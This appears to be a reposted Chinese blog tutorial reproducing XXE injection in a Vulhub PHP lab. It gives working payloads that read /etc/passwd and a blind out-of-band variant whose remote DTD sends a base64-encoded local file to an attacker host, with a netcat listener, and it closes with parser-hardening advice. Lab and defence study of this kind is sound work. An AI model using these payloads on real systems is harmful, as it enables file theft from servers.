Vulhub-XXE&Bind OOB XXE 復現(超級詳細)


XXE的定義

XXE就是XML外部實體注入,XML中有5種實體,如果網站允許使用外部實體,通過惡意構造內容就有可能實現任意文件讀取

、內網探測、命令執行等。

 

簡單了解

XML有一個格式規范是由DTD(文檔類型定義)來決定的

如下:

<?xml version="1.0"?>//這一行是 XML 文檔定義
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

這個DTD就定義了XML的根元素是message,而后有一些子元素receive、sender等,規定了格式的XML就需要寫成

如下這樣:

<message>
<receiver>Yourself<receiver>
<send>People<send>
<header>balabala</header>
<msg>xxe</msg>
</message>

除了能在DTD中定義元素外還能在其中定義實體,允許外部實體可能會存在XXE注入,而參數實體又是Blind OOB XXE的必要條件

定義代碼:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

這里是any接受任何元素,而且定義了一個XML的內部實體,而實體可以通過&在XML中引用

如下:這對上面定義的內部實體的xxe進行了引用,解析的時候&xxe;就會被替換成test

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

 

繼續深入

其實實體也能從外部的DTD文件中來引用

如下代碼:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

如果這樣配置引用的話,對網站資源所做的任何更改都會在文檔中自動更新,就很方便,

但是這樣的安全風險就很大了。

 

在XML中除了把實體分成外部和內部實體,還能分成參數和通用實體。

通用實體

用&name; 在DTD中定義,在XML文檔中引用

代碼:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

參數實體

1.使用%(空格)name 在DTD中定義,且只能在DTD中使用%name;

2.在DTD中參數實體的聲明才能引用其他實體

3.參數實體可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

 

0x01 復現環境

漏洞環境:https://vulhub.org/#/environments/php/php_xxe/

  • PHP 7.0.30
  • libxml 2.8.0

libxml2.9.0以后,默認不解析外部實體。

 

0x02 漏洞挖掘

訪問phpinfo頁面,可以看到libxml版本是2.8.0,默認是解析外部實體的

 

 

 

丟御劍掃一下還有什么目錄

 

 

 這里看dom.php的代碼

從字符串加載XML文檔

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

 

0x03 漏洞復現

 那么我們可以通過這個dom來進行注入

通過上面的了解,我們寫一段XML

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <user>

<name>&xxe;</name>

</user>

 

 

 

 這里就能任意讀取文件了。

 

0x04 漏洞再深入

Bind OOB XXE

當存在無回顯想要讀取敏感文件的時候,就需要用到file協議並且數據外帶了。

這里的環境就搭在本機上,靶機代碼

xml.php

<?php

libxml_disable_entity_loader (true);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

 

這里用的參數實體 % send,因為代碼解析問題html實體轉移會報解析錯誤,所以把%寫成實體 &#37;

我們試試和之前一樣的payload直接利用讀取文件

 

可以看到沒有回顯!!

 

 

這時候我們需要訪問遠程服務器的DTD文件,而這個文件是我們惡意構造的 代碼如下:

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://VPSip:9999?p=%file;'>">

 

 

構造的payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://VPSip/vps/xxe.dtd">
%remote;%int;%send;
]>

 

 

然后在VPS上打開監聽

nc -lvv 9999

 

 

 

然后用payload發包

很奇怪我VPS沒有監聽反應的時候這里報錯返回包攜帶了讀取文件信息

 

最后又用lvp命令,多次嘗試,

然后VPS成功響應

 

 此時的返回包是這樣的,是一個php報錯頁面

 

 

 

 

 

 總之已經在無回顯的情況成功讀取文件~~

構造調用流程:

通過對DTD文件構造,首先通過payload里面的%remote參數實體去訪問VPS上的DTD文件xxe.dtd,

然后通過%int調用xxe.dtd中的%file,它會去讀取我們在這一行代碼中寫到的文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

 

然后將%file的值填入到xxe.dtd中的%send參數實體,然后發送到我們的VSP上。

 

注:因為實體的值中不能有 %, 所以將其轉成html實體編碼 &#37

 

0x04 XXE防御

方案一:使用語言中推薦的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

 

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM